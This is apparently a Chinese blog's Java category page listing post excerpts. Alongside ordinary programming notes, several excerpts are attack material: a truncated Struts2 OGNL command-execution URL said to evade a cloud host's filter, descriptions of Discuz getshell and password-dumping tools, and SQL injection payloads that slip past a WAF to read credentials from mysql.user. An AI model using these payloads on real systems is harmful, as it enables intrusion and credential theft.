Java(89 篇文章)

Jtree

yzmm
1209 阅读

隐藏root:jtree.setRootVisible(false); 2: import java.awt.BorderLayout; import javax.swing.JFrame; import javax.swing.JTree; import javax.swing.tree.DefaultMutableTreeNode; import javax.swing.tree.Defaul...

阅读全文

google-diff-match-patch

yzmm
596 阅读

一个google多语言diff源码和测试类,支持的语言有:Java, JavaScript, Dart, C++, C#, Objective C, Lua and Python。这货很方便,对比之后还可以生成html的diif代码片段。不是什么新玩意,项目最后更新时间是2012年。 项目地址:https://code.google.com/p/google-diff-match-patch/ 源...

阅读全文

阿里2013技术嘉年华文档和阿里2013 java技术文档

yzmm
588 阅读

百度老删,只能私密分享了。阿里技术嘉年华文档都是公开的:http://adc.alibabatech.org/,内容非常丰富。至于那几个java文档从百度文库找的。 ADC•阿里技术嘉年华于7月13-14日在杭州举行。这是一场专属于<互联网工程师>的“技术盛宴”,倡导<干货分享>。 不仅有高含金量的“主题论坛“, 精彩的”Workshop“、“Tech Show”,还有互动...

阅读全文

Struts2 阿里云主机getshell

yzmm
592 阅读

测试了下阿里云主机,似乎默认带了Struts2命令执行和Getshell的拦截。改了下就不拦了撒。 http://xxx.com/test.action?redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23w%3d%23context.get...

阅读全文

Discuz7.2.java

yzmm
574 阅读

检测shell、获取基本信息、列当前数据下举所有表、统计会员数量、输出前20位会员id+密码+email、getshell import java.io.ByteArrayOutputStream; import java.io.UnsupportedEncodingException; import java.net.URL; import java.net.URLConnection; imp...

阅读全文

java 实现Discuz UC_KEY GetShell

yzmm
688 阅读

Discuz自身提供了一个函数_authcode,实现了自身的Encode和Decode。这里写了一段代码,基本翻译了Discuz的Encode部分。代码没什么难点,麻烦的是如果你用Java去实现Encode会发现里面有许多的坑。我写了俩php的函数microtime();和time();的实现。用Map替换了PHP的range函数,其次需要注意的是php的chr,chr返回的是Java里的byt...

阅读全文

java.io.File.renameTo文件系统问题

yzmm
697 阅读

java.io.File中的renameTo方法尽量少用,因为可能会出现文件系统不一致问题导致文件移动失败。具体可能出现的问题包括:1、NTFS、FAT32 分区格式问题。2、文件分隔符问题\\和/。3、rename的文件存在。 public boolean renameTo(File dest) { SecurityManager security = System.getSecurityMan...

阅读全文

安全狗POST SQL注入.

yzmm
625 阅读

不知为何不拦POST的/*!XXX*/ id=1 and 1=2 union select 1,user,password from mysql.user limit 0,1 id=1200000 /*!union*//*!select*/(1),user,password from mysql.user limit 0,1 <?php $conn = mysql_connect(&quot...

阅读全文